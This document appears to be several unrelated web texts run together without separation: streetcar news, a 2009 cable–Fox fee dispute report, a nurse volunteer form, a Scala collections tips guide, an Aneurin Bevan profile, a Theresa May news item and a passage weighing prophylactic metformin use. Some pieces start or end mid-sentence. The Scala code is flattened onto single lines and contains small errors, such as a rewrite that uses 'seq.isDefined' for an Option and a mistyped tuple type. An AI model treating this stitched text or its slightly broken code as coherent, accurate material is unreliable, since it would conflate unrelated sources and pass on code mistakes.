In San Antonio, opponents of a $280 million project showed up in force at a recent meeting of the Bexar County Commission. Anti-streetcar groups are pushing for an amendment to the city charter that would prohibit using the city's right-of-way for a streetcar.
In Arlington, Va., where estimates for the cost of a proposed streetcar line have risen as high as $358 million, more than $100 million above the previous estimate, an anti-streetcar group called Arlingtonians for Sensible Transit is fighting the project.
"The biggest concern is that the project on Columbia Pike would not have a dedicated lane for the streetcar," says Peter Rousselot, a leader of the group. "The proposal is to add 10 streetcars daily to a street that already has 34 buses. And it doesn't go to some major employment centers nearby, particularly the Pentagon."
Meanwhile, here in Atlanta, what's old is about to be very new again.
When the Atlanta Streetcar begins operation downtown later this year, it will connect Centennial Olympic Park to the Martin Luther King Jr. National Historic Site and Ebenezer Baptist Church, with 12 stops along the 2.7-mile route. (Photo11: David Tulis for USA TODAY)
As far back as the 1870s, the writer Joel Chandler Harris, author of the Uncle Remus tales, would hop a streetcar from his home in the West End to downtown.
Later this summer, people will once again be able to hop a streetcar.
It'll be free for the first month. Then the fare is $1 each for the first three trips of the day and free afterward.
Read or Share this story: http://usat.ly/1lhSXKyTime Warner Cable, Fox negotiations near 11th hour
NEW YORK (CNNMoney.com) -- So long, Simon Cowell.
Time Warner Cable's customers could lose access to "American Idol," "the Simpsons" and some of the NFL playoffs if the cable company fails to resolve a fee standoff with Fox by Dec. 31.
"Oh, well...who cares what congress does, right? Time warner might not have fox programming anymore!!!!" said one Twitter user whose focus quickly switched from Thursday's health care vote.
The nation's second largest cable provider is at odds with Fox's parent company, News Corp., as well as the Weather Channel and Scripps Networks whose content licensing contracts with Time Warner Cable will expire at the end of the year.
Like all cable companies, Time Warner Cable pays fees to networks to air their content on cable subscribers' televisions. Cable providers usually negotiate multi-year contracts with the networks.
Time Warner Cable is arguing that the fees the networks want to charge it to renew the contracts are too high, while the networks say they have to raise their fees to cover escalating costs.
This year's negotiations between Time Warner Cable and News Corp. feature a new issue: Rupert Murdoch's media conglomerate wants to charge the cable company a fee for airing its broadcast station, Fox. Broadcast stations like NBC, ABC, CBS and Fox have traditionally been licensed to cable providers for free. Until now, providers have only paid for cable networks.
But networks are finding it increasingly difficult to turn a profit on their broadcast channels as programming choices are ever-expanding and advertisers are paying less. TV watchers can also get many of their favorite shows on the Internet from services like hulu.com, which offer Fox, NBC and ABC programs with very limited commercial interruptions.
Some companies are changing their strategies as a result. CBS (CBS, Fortune 500) and ABC's parent company Disney (DIS, Fortune 500) are reportedly in negotiations with Apple (AAPL, Fortune 500) to license streaming programming on the Apple TV product. NBC's parent company General Electric (GE, Fortune 500) recently announced a deal with No. 1 cable provider Comcast (CMCSA, Fortune 500) to hand over control of the broadcast station and its cable companies.
In a sign of the changing times, News Corp. says it wants $1 per subscriber for broadcast TV. The network claims $1 is a reasonable charge, given that is what Time Warner Cable pays for most cable stations, which receive lower average ratings than Fox.
Not all local Fox stations would be affected, because News Corp. does not own and operate all of the local affiliates. Time Warner Cable said its customers in New York, Los Angeles and Dallas would lose their local Fox stations as well as the national network broadcasts. Time Warner Cable has operations in some of the country's biggest TV markets, including the southern California, New York state, Ohio, the Carolinas and Texas.
A public battle
The fight went public last month, when Time Warner Cable (TWC) and News Corp. (NWS, Fortune 500), began airing commercials and launched Web sites to convince viewers that the other party was acting unreasonably.
On its Web site rolloverorgettough.com, Time Warner Cable claims some networks are demanding up to a 300% price increase, which will make the cable provider hike prices "significantly" for its customers to cover the costs. News Corp. countered that Time Warner Cable is a highly profitable company, and "it can surely afford to fairly compensate broadcasters for that content without raising rates," according to a posting on its Web site keepfoxon.com.
Time Warner Cable paid more than $3 billion in licensing fees to networks in the first nine months of 2009, up 7% from the same period in 2008, the company said in a financial statement. The cable company had an operating income of $4.7 billion this year through the end of September.
The other networks that are negotiating with Time Warner Cable haven't been as vocal as Fox, but remain in a standoff with the cable provider as well.
If the stalemate is not resolved at the end of next week, the company's 13 million cable TV customers could lose the right to view News Corp.'s Fox and FX; Scripps' Food Network; and the Weather Channel.
That's not sitting well with many consumers on the blogosphere.
"I'd die w/o fox!" said one Twitter user on Thursday who urged followers to call Time Warner Cable to complain. "I find it weird that time warner might be dumping all fox networks. I don't watch Idol, but ppl who do will b mad when they dont have it," said another.
But many bloggers sided with Time Warner Cable.
"Sorry Fox -- Time Warner Cable Subs Say Take a Hike!" one Twitter user posted. "You go Time Warner!" another said.
Others were looking to alternatives: "Fox and Time Warner are having a pissing contest..... thank God for Dish Network!"
Losing Fox a'very likely possibility'
Time Warner Cable said on its Web site that in the event of a prolonged standoff, it would try to convince the networks to allow the company to continue airing their programming while negotiations are ongoing. But the networks are under no obligation to do so.
A Fox spokesman said it is prepared to extend negotiations beyond the Dec. 31 deadline to get "fair compensation for the impressive value our Fox programming offers," but the Fox signal will drop for Time Warner subscribers if a deal is not reached by the new year.
"While negotiations are ongoing, we have a responsibility to prepare our viewers for the very likely possibility that Time Warner Cable may choose to no longer carry Fox Broadcasting, Fox Cable and Fox regional sports programming," the spokesman said.
A Time Warner Cable spokeswoman said negotiations with Fox are ongoing but that its current demands are "unreasonable and excessive," especially in this economic climate.
"We hope Fox won't punish our customers by taking their programming away," the spokeswoman said.
Issues over licensing fees are not uncommon at the end of the year, when networks' contracts expire -- nor are public ads that try to sway customers. Last year, Time Warner Cable and Viacom were engaged in a similar battle. As the battle raged on, Viacom (VIA), which owns MTV, Comedy Central and Nickelodeon, ran an ad that featured Dora the Explorer in tears: "Why is Dora crying?" the Dec. 31, 2008 ad said, "Time Warner Cable is taking Dora off the air tonight along with 19 of your favorite channels." The two parties eventually reached an agreement in the early hours of Jan. 1.
It's unlikely that the contract will not be resolved, since neither company would benefit; Time Warner Cable subscribers would be annoyed to lose their programming, and the networks would lose 13 million viewers. That would be especially damaging for Fox, which is set to air highly rated shows like "American Idol" and the NFL football playoffs in January.RNRN Disaster Relief Volunteer Form Be there for patient care... Thank you for signing up with the RN Response Network (RNRN), a project of the California Nurses Foundation (CNF). RNRN is a national network of direct care RNs - powered by National Nurses United (NNU) - that coordinates sending volunteer RNs to disaster stricken areas where and when they are needed most. Registering as an RNRN volunteer does not automatically mean you will be called for a disaster. RNs will be asked to volunteer based on need and availability. PLEASE JOIN US TODAY! Download & share the RNRN brochure Please complete this form if you are interested in volunteering for RNRN relief deployments. If you have already signed up as a volunteer and would like to update the information you have already submitted you can log in here to access your information. Thank you for volunteering with RNRN/NNU.
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higher-order functions are so ubiquitous in Scala collection API, the tip is especially handy.
Convert flatMap with partial function to collect
// Before seq.flatMap { case P => Seq(???) // x N case _ => Seq.empty } // After seq.collect { case P =>??? // x N }
The updated expression produces the same result, but looks much simpler.
Also applicable to: Set, Option, Map, Iterator.
Convert match to collect when the result is a collection
// Before v match { case P => Seq(???) // x N case _ => Seq.empty } // After Seq(v) collect { case P =>??? // x N }
When all the case statements produce collections, it’s possible to simplify the expression by converting the match statement to a collect call. In that way we can write collection creation only once and we can omit the explicit default case branch.
Personally, I often use this trick with Option rather than sequences per se.
Also applicable to: Set, Option, Iterator.
Don’t emulate collectFirst
// Before seq.collect{case P =>???}.headOption // After seq.collectFirst{case P =>???}
We have a special method for such a use case, which also works faster on non-lazy collections.
The partial function must be pure.
Also applicable to: Set, Map, Iterator.
4.10 Rewriting
Merge consecutive filter calls
// Before seq.filter(p1).filter(p2) // After seq.filter(x => p1(x) && p2(x))
That’s how we can avoid creation of an intermediate collection (after the first filter call), and thus relieve GC’s burden.
We may also apply a generalized approach that relies on views (see below), so the result will be seq.view.filter(p1).filter(p2).force.
The predicates p1 and p2 must be pure.
Also applicable to: Set, Option, Map, Iterator.
Merge consecutive map calls
// Before seq.map(f).map(g) // After seq.map(f.andThen(g))
Again, we’re creating the resulting collection directly, without an intermediate one.
We may also apply a generalized approach that relies on views (see below), so the result will be seq.view.map(f).map(g).force.
The functions f and g must be pure.
Also applicable to: Set, Option, Map, Iterator.
Do sorting after filtering
// Before seq.sorted.filter(p) // After seq.filter(p).sorted
Sorting is computationally expensive procedure. There’s no need to sort elements that will be potentially filtered out in the next step.
The same applies to the other possible sorting methods, like sortWith and sortBy.
The predicate p must be pure.
Don’t reverse collection explicitly before calling map
// Before seq.reverse.map(f) // After seq.reverseMap(f)
The first expression creates an intermediate (reversed) collection before transforming elements, which is quite reasonable sometimes (e.g. for List ). Other times it’s possible to perform the required transformation directly, without creating the intermediate collection, which is more efficient.
Don’t reverse collection explicitly to acquire reverse iterator
// Before seq.reverse.iterator // After seq.reverseIterator
Again, the latter expression is simpler and might be more efficient.
Don’t convert collection to Set to find distinct elements
// Before seq.toSet.toSeq // After seq.distinct
There’s no need to create a temporary set (at least explicitly) to find distinct elements.
Don’t emulate slice
// Before seq.drop(x).take(y) // After seq.slice(x, x + y)
For linear sequences all we gain is clear intent and conciseness. For indexed sequences, however, we may expect a potential performance improvements.
Also applicable to: Set, Map, Iterator.
Don’t emulate splitAt
// Before val seq1 = seq.take(n) val seq2 = seq.drop(n) // After val (seq1, seq2) = seq.splitAt(n)
The optimized expression performs faster on linear sequences (like List or Stream ), because it computes the results in a single pass.
Also applicable to: Set, Map.
Don’t emulate span
// Before val seq1 = seq.takeWhile(p) val seq2 = seq.dropWhile(p) // After val (seq1, seq2) = seq.span(p)
That’s how we can traverse the sequence and check the predicate only once, instead of twice.
The predicate p must be pure.
Also applicable to: Set, Map, Iterator.
Don’t emulate partition
// Before val seq1 = seq.filter(p) val seq2 = seq.filterNot(p) // After val (seq1, seq2) = seq.partition(p)
Again, the benefit is a single-pass computation.
The predicate p must be pure.
Also applicable to: Set, Map, Iterator.
Don’t emulate takeRight
// Before seq.reverse.take(n).reverse // After seq.takeRight(n)
The latter expression is more concise and potentially more efficient (for both indexed- and linear sequences).
Don’t emulate flatten
// Before (seq: Seq[Seq[T]]) seq.reduce(_ ++ _) seq.fold(Seq.empty)(_ ++ _) seq.flatMap(identity) // After seq.flatten
There’s no need to flatten collections manually when we have a dedicated built-in method for doing exactly that.
Also applicable to: Set, Option, Iterator.
Don’t emulate flatMap
// Before (f: A => Seq[B]) seq.map(f).flatten // After seq.flatMap(f)
Again, there’s no need to emulate built-in method manually. Besides improved clarity, we can skip the creation of an intermediate collection.
Also applicable to: Set, Option, Iterator.
Don’t use map when result is ignored
// Before seq.map(???) // the result is ignored // After seq.foreach(???)
When side effect is all that is needed, there’s no justification for calling map. Such a call is misleading (and less efficient).
Also applicable to: Set, Option, Map, Iterator.
Don’t use unzip to extract a single component
// Before (seq: Seq[(A, B]]) seq.unzip._1 // After seq.map(_._1)
There’s no need to create additional collection(s) when only a single component is required.
Other possible method: unzip3.
Also applicable to: Set, Option, Map, Iterator.
Don’t create temporary collections
This recipe is subdivided into three parts (depending on transformation final result).
1. Transformation reduces collection to a single value.
// Before seq.map(f).flatMap(g).filter(p).reduce(???) // After seq.view.map(f).flatMap(g).filter(p).reduce(???)
In place of reduce might be any method that reduces collection to a single value, for example: reduceLeft, reduceRight, fold, foldLeft, foldRight, sum, product, min, max, head, headOption, last, lastOption, indexOf, lastIndexOf, find, contains, exists, count, length, mkString, etc.
The exact order of transformations is not relevant — what matters is that we’re creating one or more temporary, intermediate collections, that are not needed by themselves, yet they will take heap space and burden GC. That happens because, by default, all collection transformers ( map, flatMap, filter, ++, etc.) are “strict” (except for Stream ) and construct a new collection with all its elements as a result of transformation.
That’s where views come to the rescue — we may think of view as some kind of Iterator, that allows re-iteration:
Views are “lazy” — elements constructed only when they are needed.
Views don’t hold created elements in memory (which even Stream does).
To go from a collection to its view, we use the view method.
2. Transformation produces a collection of the same class.
It’s possible to use views when the final result of transformation is still a collection — the force method will build a collection of the original class (while creation of all the intermediate collections is still avoided):
// Before seq.map(f).flatMap(g).filter(p) // After seq.view.map(f).flatMap(g).filter(p).force
If the only intermediate transformation is filtering, you may consider using withFilter method as an alternative:
seq.withFilter(p).map(f)
The method is originally intended to be used in for comprehensions. It works much like a view — it creates a temporary object that restricts the domain of subsequent collection transformations (so, it reorders possible side effects). However, there’s no need to explicitly convert collection to / from temporary representation (by calling view and force ).
While view-based approach is more universal, in this particular case you may prefer withFilter method because of the conciseness.
3. Transformation creates a collection of different class.
// Before seq.map(f).flatMap(g).filter(p).toList // After seq.view.map(f).flatMap(g).filter(p).toList
This time we use a suitable converter method (instead of the generic force call), so the result will be a collection of different class.
There also exists an alternative way of handling “transformation + conversion” case that relies on breakOut :
seq.map(f)(collection.breakOut): List[T]
Such an expression is functionally equivalent to using a view, however this approach:
needs expected type to be explicit (which often requires an additional type annotation),
is limited to a single transformation (like map, flatMap, filter, fold, etc.),
,,,, etc.), looks rather tricky (because implicit builders are usually omitted from the Scala Collections API docs).
Thus, it’s usually better to substitute breakOut for a view, which is more clear, more concise and more flexible.
Views are especially efficient when collection size is relatively large.
All the functions (like f and g ) and predicates ( p ) must be pure (because view might delay, skip or reorder computations).
Also applicable to: Set, Map.
Use assignment operators to reassign a sequence
// Before seq = seq :+ x seq = x +: seq seq1 = seq1 ++ seq2 seq1 = seq2 ++ seq1 // After seq :+= x seq +:= x seq1 ++= seq2 seq1 ++:= seq2
Scala offers a syntactic sugar known as “assignment operators” — it automatically converts x <op>= y statements into x = x <op> y where <op> is some character operator (like +, -, etc.). Note, that if <op> ends with : it is considered right-associative (i. e. invoked on the right expression, instead of the left).
There’s also a special syntax for lists and streams:
// Before list = x :: list list1 = list2 ::: list1 stream = x #:: stream stream1 = stream2 #::: stream1 // After list ::= x list1 :::= list2 stream #::= x stream1 #:::= stream2
The optimized statements are more concise.
Also applicable to: Set, Map, Iterator (with operator specifics in mind).
Don’t convert collection type manually
// Before seq.foldLeft(Set.empty)(_ + _) seq.foldRight(List.empty)(_ :: _) // After seq.toSet seq.toList
We have corresponding build-it methods for doing that, which are cleaner and faster.
If you need to transform or filter values in the course of the conversion, consider using views or similar techniques, as described above.
Also applicable to: Set, Option, Iterator.
Be careful with toSeq on non-strict collections
// Before (seq: TraversableOnce[T]) seq.toSeq // After seq.toStream seq.toVector
Because Seq(...) creates a strict collection (namely, Vector), we may be tempted to use toSeq to convert a non-strict entity (like Stream, Iterator, or “view”) to a strict collection. However, TraversableOnce.toSeq returns a Stream under the hood, which is a lazy collection, and that might result in hard-to-find bugs or performance problems. Even if a stream is exactly what you expect, such an expression might confuse other people who read your code.
Here’s a typical example of the pitfall:
val source = Source.fromFile("lines.txt") val lines = source.getLines.toSeq source.close() lines.foreach(println)
Such a code will throw an IOException complaining that the stream is already closed.
To clarify the intent, it’s better to write toStream explicitly, or, if we need a strict collection, after all, to use toVector instead of toSeq.
Don’t convert to String manually
// Before (seq: Seq[String]) seq.reduce(_ + _) seq.reduce(_ + separator + _) seq.fold(prefix)(_ + _) seq.map(_.toString).reduce(_ + _) // seq: Seq[T] seq.foldLeft(new StringBuilder())(_ append _) // After seq.mkString seq.mkString(prefix, separator, "")
The latter approach is cleaner and potentially faster, because it uses a single StringBuilder under the hood.
Other possible methods are: reduceLeft, reduceRight, foldLeft, foldRight.
Also applicable to: Set, Option, Iterator.
5. Sets
Most of the tips for sequences are applicable to sets as well. Additionally, there are several set-specific tips available.
Don’t use sameElements to compare unordered collections
// Before set1.sameElements(set2) // After set1 == set2
This rule was introduced earlier (for sequences), yet for sets the rationale is even more sound.
The sameElements method might return indeterministic results for unordered collections, because this method respects order of elements, while we cannot rely on the order in a set.
Classes that explicitly guarantee predictable iteration order (like LinkedHashSet ) are exceptions from this rule.
Also applicable to: Map.
Use Set instance as a function value
// Before (set: Set[Int]) Seq(1, 2, 3).filter(set(_)) Seq(1, 2, 3).filter(set.contains) // After Seq(1, 2, 3).filter(set)
Because an instance of Set[T] is also Function1[T, Boolean], you can use it directly as such.
Don’t compute set intersection manually
// Before set1.filter(set2) // After set1.intersect(set2) // or set1 & set2
The latter expression is more clear and concise (while performance is the same).
This transformation can be performed on sequences, however we should keep in mind, that in such a case, duplicate elements will be handled differently.
Don’t compute set difference manually
// Before set1.filterNot(set2) // After set1.diff(set2) // or set1 &~ set2
Again, the updated expression is more clear and concise (while performance is the same).
The transformation is potentially applicable to sequences, though we should consider duplicate elements.
6. Options
Technically, Option is not a part of the Scala Collections, however it provides similar interface (with monadic methods, etc.) and behaves like a special kind of collection that may or may not hold some value.
Many of the tips for sequences are also applicable to options. Besides, here are dedicated tips, that are based on Option API.
6.1 Value
Don’t compare option values with None
// Before option == None option!= None // After option.isEmpty option.isDefined
While such a comparison is fully legitimate, we have a more straightforward way to check whether option is defined (by analogy with collections: we normally write seq.isEmpty, not seq == Seq.empty ).
Another advantage of this simplification, is that if you ever decide to change the type from Option[T] to just T, scalac will compile the former expression (yielding only a warning), while compilation of the latter one will result in a righteous error.
One more argument in favor of the latter approach is that it helps to “catch” null values that came instead of Option values (by error).
Don’t compare option values with Some
// Before option == Some(v) option!= Some(v) // After option.contains(v)!option.contains(v)
This tip is a complement to the previous one (with the same justification).
Don’t rely on instance type to check value existence
// Before option.isInstanceOf[Some[_]] // After option.isDefined
There’s simply no need for such trickery.
Don’t resort to pattern matching to check value existence
// Before option match { case Some(_) => true case None => false } option match { case Some(_) => false case None => true } // After option.isDefined option.isEmpty
Again, while the former expression is technically correct, there’s no justification for such an extravagance. Besides, the simplified expression will work faster.
Also applicable to: Seq, Set.
Don’t negate value existence-related properties
// Before!option.isEmpty!option.isDefined!option.nonEmpty // After seq.isDefined seq.isEmpty seq.isEmpty
Rationale is the same as the one for sequences — simple property adds less visual clutter than a compound expression.
Note that we have the synonyms: isDefined (option-specific) and nonEmpty (sequence-specific). It might be reasonable to prefer the former one, to distinguish options from sequences.
6.2 Null
Don’t compare value with null explicitly to construct an Option
// Before if (v!= null) Some(v) else None // After Option(v)
We have a special, concise syntax for that.
Don’t use Option(...) with a constant
// Before Option("constant") // After Some("constant")
When an argument to Option(...) cannot be null, it’s better to avoid the redundant null check and to encode value existence at the type level.
Don’t provide null as an explicit alternative
// Before option.getOrElse(null) // After option.orNull
We can rely on the predefine method in such a case, so the expression will become shorter.
6.3 Processing
It’s possible to single out a groups of tips that are related to how Option value is processed.
As Option ‘s API documentation says that “the most idiomatic way to use an Option instance is to treat it as a collection or monad and use map, flatMap, filter, or foreach”, the basic principle here is to avoid “check & get” chains, implemented either via if statement or via pattern matching.
The goal is conciseness and robustness, the “monadic” code is:
more concise and intelligible,
safeguarded against NoSuchElementException nor MatchError exceptions at runtime.
This rationale is common for all the following cases.
Don’t emulate getOrElse
// Before if (option.isDefined) option.get else z option match { case Some(it) => it case None => z } // After option.getOrElse(z)
Don’t emulate orElse
if (option1.isDefined) option1 else option2 option1 match { case Some(it) => Some(it) case None => option2 } // After option1.orElse(option2)
Don’t emulate exists
// Before option.isDefined && p(option.get) if (option.isDefined) p(option.get) else false option match { case Some(it) => p(it) case None => false } // After option.exists(p)
Don’t emulate forall
// Before option.isEmpty || (option.isDefined && p(option.get)) if (option.isDefined) p(option.get) else true option match { case Some(it) => p(it) case None => true } // After option.forall(p)
Don’t emulate contains
// Before option.isDefined && option.get == x if (option.isDefined) option.get == x else false option match { case Some(it) => it == x case None => false } // After option.contains(x)
Don’t emulate foreach
// Before if (option.isDefined) f(option.get) option match { case Some(it) => f(it) case None => } // After option.foreach(f)
Don’t emulate filter
// Before if (option.isDefined && p(option.get)) option else None option match { case Some(it) && p(it) => Some(it) case _ => None } // After option.filter(p)
Don’t emulate map
// Before if (option.isDefined) Some(f(option.get)) else None option match { case Some(it) => Some(f(it)) case None => None } // After option.map(f)
Don’t emulate flatMap
// Before (f: A => Option[B]) if (option.isDefined) f(option.get) else None option match { case Some(it) => f(it) case None => None } // After option.flatMap(f)
6.4 Rewriting
Convert map with getOrElse to fold
// Before option.map(f).getOrElse(z) // After option.fold(z)(f)
Those expressions are semantically equivalent (in both cases z is computed lazily, on demand), yet the latter expression is more concise. The transformation may sometimes require an additional type annotation (because of the way how Scala’s type inference works), and, in such cases, the former expression might be preferable.
Keep in mind that this particular simplification is somehow controversial, because the latter expression looks more obscure, especially if you not accustomed to it.
Don’t emulate exists
// Before option.map(p).getOrElse(false) // After option.exists(p)
We presented a rather similar rule for sequences (which is also directly applicable to options). This transformation is a special case with getOrElse call.
Don’t emulate flatten
// Before (option: Option[Option[T]]) option.map(_.get) option.getOrElse(None) // After option.flatten
The latter expression looks cleaner.
Don’t convert option to sequence manually
// Before option.map(Seq(_)).getOrElse(Seq.empty) option.getOrElse(Seq.empty) // option: Option[Seq[T]] // After option.toSeq
There’s a special method for doing that, which is more concise and, less computationally-expensive.
7. Maps
Just like with other collection classes, many tips for sequences are applicable to maps as well, so we’ll enumerate only map-specific ones.
Don’t search for a value manually
// Before map.find(_._1 == k).map(_._2) // After map.get(k)
While in principe the former code will work, the performance is sub-optimal, because Map is not a simple collection of (key, value) pairs — it can perform lookups in a much more efficient way.
Moreover, the latter expression is simple and easier to undestand.
Don’t use get when a raw value is needed
// Before map.get(k).get // After map(k)
There’s no need to produce an intermediate Option value when a raw value is needed.
Don’t use lift instead of get
// Before map.lift(k) // After map.get(k)
There’s no need to treat map value as a partial function to acquire an optional result (which is useful for sequences), because we have a built-in method with the same functionality.
Don’t call get with getOrElse separately
// Before map.get(k).getOrElse(z) // After map.getOrElse(k, z)
The single method call is simpler, both syntax- and performance-wise. In both cases z is computed lazily, on demand.
Use Map instance as a function value
// Before (map: Map[Int, T]) Seq(1, 2, 3).map(map(_)) // After Seq(1, 2, 3).map(map)
Because an instance of Map[K, V] is also Function1[K, V], you can use it directly as such.
Don’t extract keys manually
// Before map.map(_._1) map.map(_._1).toSet map.map(_._1).toIterator // After map.keys map.keySet map.keysIterator
The optimized expressions are more intelligible (and might be faster).
Don’t extract values manually
// Before map.map(_._2) map.map(_._2).toIterator // After map.values map.valuesIterator
The simplified expressions are more comprehensible (and potentially faster).
Be careful with filterKeys
// Before map.filterKeys(p) // After map.filter(p(_._1))
The filterKeys methods wraps the original map without copying any elements. There’s nothing wrong with that per se, however such a behaviour is hardly expected from filterKeys method. Because it unexpectedly behaves like a view, code performance might be substantially degraded in some cases (e. g. for filterKeys(p).groupBy(???) ).
Another possible pitfall is unexpected “laziness” (collection transformers are expected to be strict by default) – the predicated is not evaluated at all withing the method call itself, so possible side effects might be reordered.
The filterKeys method should probably be deprecated, because it’s now impossible to make it strict without breaking backward compatibility. A more suitable name for the current implementation is withKeyFilter (by analogy with the withFilter method).
All in all, it seems reasonable to follow the Rule of Least Surprise and to filter keys manually.
Nevertheless, as the view-like functionality of filterKeys is potentially useful (when only a few entries will be accessed while the map is relatively large), we may still consider using the method. To keep other people who read (or modify) our code from confusion, it’s better clarify our intent by defining an appropriate method synonym:
type MapView[A, +B] = Map[A, B] implicit class MapExt[A, +B](val map: Map[A, B]) extends AnyVal { def withKeyFilter(p: A => Boolean): MapView[A, B] = map.filterKeys(p) }
We’re using the type alias MapView to indicate that the result map is view-like.
Another option is to define a simple helper method, like:
def get(k: T) = if (p(k)) map.get(k) else None
Be careful with mapValues
// Before map.mapValues(f) // After map.map(f(_._2))
Rationale is the same as in the previous tip. In a similar way, we may define an unambiguous synonym:
type MapView[A, +B] = Map[A, B] implicit class MapExt[A, +B](val map: Map[A, B]) extends AnyVal { def withValueMapper[C](f: B => C): MapView[A, C] = map.mapValues(f) }
A simpler option would be to define a helper method, like:
def get(k: T) = map.get(k).map(f)
Don’t filter out keys manually
// Before map.filterKeys(!seq.contains(_)) // After map -- seq
We can rely on the simpler syntax to filter out keys.
Use assignment operators to reassign a map
// Before map = map + x -> y map1 = map1 ++ map2 map = map - x map = map -- seq // After map += x -> y map1 ++= map2 map -= x map --= seq
As with sequences, we may rely on syntactic sugar to simplify such statements.
8. Supplement
In addition to the listed recipes, I recommend you to take a look at the Scala Collections documentation, which is surprisingly good an easy to read.
See also:
Scala for Project Euler — Concise functional Scala solutions to the Project Euler problems.
Ninety-nine — Ninety-nine problems in Scala, Java, Clojure and Haskell (with multiple solutions)
Those puzzles really helped me to shape and deepen my understanding of Scala collections.
While the list of tips is rather comprehensive, it’s probably far from complete. Moreover, because applicability of the recipes varies greatly, some fine-tuning is definitely needed. Your suggestions welcome.
Tags: collection, count, drop, filter, find, flatmap, fold, iterator, length, list, map, option, reduce, reverse, scala, seq, set, side effect, size, sort, stream, take, viewThough he never achieved the highest political office, Aneurin Bevan is arguably the most influential, and certainly the most inspirational figure in the history of the Labour party.
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The Man from Tredegar
Throughout his life Bevan generated strong feelings and reactions. The combination of his powerful oratory and disdain for political opponents guaranteed him special attention. He was once described by Churchill as a “squalid nuisance”. Bevan returned the compliment when he described all Tories as “lower than vermin”.
Born into a non-conformist family in Tredegar, Bevan left school at the age of 13. He began work at the Tytryst Colliery, from where he was eventually sacked for his trade union activities. In 1929 Bevan was elected the Labour Party MP for Ebbw Vale.
His immense talent quickly shone on the political stage. His ability as a speaker brought him respect in the House of Commons, where members of all parties would go into the Chamber just to hear him speak. He could also draw thousands to a public meeting. It was,however, his achievements as a key figure in the first post-war Labour government that have had the most enduring impact, one that even Bevan himself may not have anticipated.
As Minister of Health, Bevan was responsible for one of the most profound acts of modern social reform. By establishing the National Health Service and expanding the system of National Insurance created by David Lloyd George, he personally shaped the creation of the modern welfare state.
Bevan resigned from government in 1951 over proposals to introduce prescription charges and for a while he was a rallying point for the left within the Labour Party. However in 1956 he returned to the front benches to serve to serve as Shadow Foreign Secretary.
The following year he shocked his political supporters by dramatically denouncing the case for unilateral nuclear disarmament. By 1959 when he became Deputy Leader he was already a very ill man. He died of cancer on 6th July 1960.British prime minister Theresa May stood up to Saudi Arabia’s repressive regime by refusing to wear a headscarf during a visit there yesterday.
Shunning the desert kingdom’s strict Islamic dress code – and in defiance of official UK Foreign Office advice – May met officials and was seen out in public with her hair showing. (The main image shows her arriving at the Saudi Stock Exchange in the capital Riyadh escorted by Saudi Finance Minister Mohammed al-Jadaan).
A British government spokesman said May had made a ‘personal choice’ and a source travelling with the prime minister said it was intended as a ‘statement’.
May has made it clear she believes Saudi women deserve greater freedoms. Although they are inching towards some sort of parity with men in certain respects, they are still forbidden from most activities western women take for granted. For instance, Saudi women are banned from driving a car thanks to a religious fatwa imposed by clerics.
Read moreGoodRx says that a number of large American chains, including Walmart & Target & Sam’s Club, will sell 60x500mg for $4. It’s unclear if this includes sales tax, so I will tack on an additional 5% for that. This is 15 days’ worth at 2000mg/daily, so a month’s supply is $8.4, and an annual supply is $102. For the time/effort of regular consumption, I’ll estimate it at half a minute a day and $8/hr. (Metformin has a shelf-life of 5 years so at least in theory one could buy large batches and then the shopping time is trivial.) If we start at age 30, then without any discounting, we can expect to pay for metformin for a number of years (increased, of course, by our metformin usage):
Bannister et al 2014 doesn’t give dosages or look for a dose-response curve but since it’s drawing on clinical records, the diabetics must be using conventional dosages. Drugs.com gives a maintenance dose of 2000mg/daily; the Mayo Clinic says not usually more than 2000-2500mg/daily; the anti-aging quacks tend to suggest ~1000mg/daily for non-diabetics; the MILES protocol calls for 1700mg/daily. I’ll use 2000mg/daily here, which is 4x500mg doses.
The direct monetary cost of metformin is so minimal that it’s almost certainly outweighed by the inconvenience of purchasing & regularly using it, and by any side-effects one might experience. Side-effects are a more serious concern: while considered safe and a net gain from the point of view of all-cause mortality, that just means the side-effects are relatively rare or nonfatal but metformin might still be unpleasant enough, or produce long-lasting reductions in quality of life which negate much of the gain. (It would not be much of an improvement to halve one’s risk if, in exchange, one becomes a quadriplegic.)
Drugs.com provides some percentage breakdowns after noting that many problems can be avoided by gradual increases in dosage or go away spontaneously
Metabolic: Common (1% to 10%): Hypoglycemia Very rare (less than 0.01%): Lactic acidosis[Ref]
Gastrointestinal: Very common (10% or more): Diarrhea (53.2%), nausea/vomiting (25.5%), flatulence (12.1%) Common (1% to 10%): Indigestion, abdominal discomfort, abnormal stools, dyspepsia, loss of appetite[Ref]
Hematologic: Very rare (less than 0.01%): Subnormal vitamin B12 levels[Ref]
Other: Common (1% to 10%): Asthenia, chills, flu syndrome, accidental injury[Ref]
Hepatic: Very rare (less than 0.01%): Liver function test abnormalities, hepatitis[Ref]
Cardiovascular: Common (1% to 10%): Chest discomfort, flushing, palpitation[Ref]
Dermatologic Common (1% to 10%): Rash, nail disorder, increased sweating Very rare (less than 0.01%): Erythema, pruritus, urticaria[Ref]
Endocrine: Frequency not reported: Reduction in thyrotropin (TSH) levels[Ref]
Immunologic: Very common (10% or more): Infection (20.5%)[Ref]
Musculoskeletal: Common (1% to 10%): Myalgia[Ref]
Nervous system: Common (1% to 10%): Lightheadedness, taste disturbances[Ref]
Psychiatric: Common (1% to 10%): Headache[Ref]
Respiratory: Common (1% to 10%): Rhinitis[Ref]
Most of these seem to be relatively minor or temporary, and the GI problems can be reduced by splitting up doses & taking with food; if they persist, a prophylactic user could simply discontinue metformin. (The FDA prescribing information notes in one trial, 6% of the metformin subjects had to stop because the diarrhea was so bad. Net attrition/dropout rates in metformin studies vary so much that they’re not helpful and not all of it will have to do with metformin reducing the daily quality of life through side-effects, but overall they look like 10-40% would be a reasonable guess.) Discontinuation would be too bad since then one doesn’t gain the benefits, but one won’t have lost too much besides perhaps a few weeks of severe diarrhea and a month or two of wasted metformin pills, so it’s not too bad. You might think we would have to incorporate a penalty of 10-40% to the expected value - if there’s a 10-40% chance the metformin is useless, shouldn’t we multiply the mortality benefit by 0.1-0.4? - but that’s only if we have no way of knowing the metformin is useless and we are considering the scenario in which we take it for the rest of our life even while it’s useless. In this case, because we know quickly if we can handle metformin or not, we only need to consider the upfront cost of the month of diarrhea. (So more formally: the expected value is lower, but the Value of Information is higher because once one starts metformin and the GI problems either turn out to not be so bad or to go away, the expected value then increases substantially now that one knows one can take metformin without problem.)
